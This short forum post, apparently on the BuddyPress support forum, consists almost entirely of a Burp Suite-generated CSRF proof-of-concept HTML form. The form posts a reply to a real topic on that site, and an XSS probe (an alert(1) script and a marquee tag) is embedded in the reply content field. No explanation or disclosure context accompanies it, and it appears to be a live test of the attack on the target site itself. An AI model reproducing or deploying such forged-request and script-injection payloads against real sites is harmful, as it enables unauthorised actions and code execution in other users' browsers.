@test1324
5 years, 5 months ago
`<html> <!– CSRF PoC – generated by Burp Suite Professional –> <body> <script>history.pushState(”, ”, ‘/’)</script> <form action=”https://buddypress.org/support/topic/bookmark-extension/” method=”POST”> <input type=”hidden” name=”bbp_reply_content” value=”`<marquee>TEST</marquee> </script>SSS<script>alert(1)</script>ss” /> <input type=”hidden” name=”bbp_topic_tags” value=”” /> <input type=”hidden” name=”bbp_reply_submit” value=”” /> <input type=”hidden” name=”bbp_topic_id” value=”306727″ /> <input type=”hidden” name=”bbp_reply_to” value=”0″ /> <input type=”hidden” name=”action” value=”bbp-new-reply” /> <input type=”hidden” name=”_wp_http_referer” value=”/support/topic/bookmark-extension/” /> <input type=”hidden” name=”redirect_to” value=”https://buddypress.org/support/topic/bookmark-extension/” /> <input type=”submit” value=”Submit request” /> </form> </body> </html>
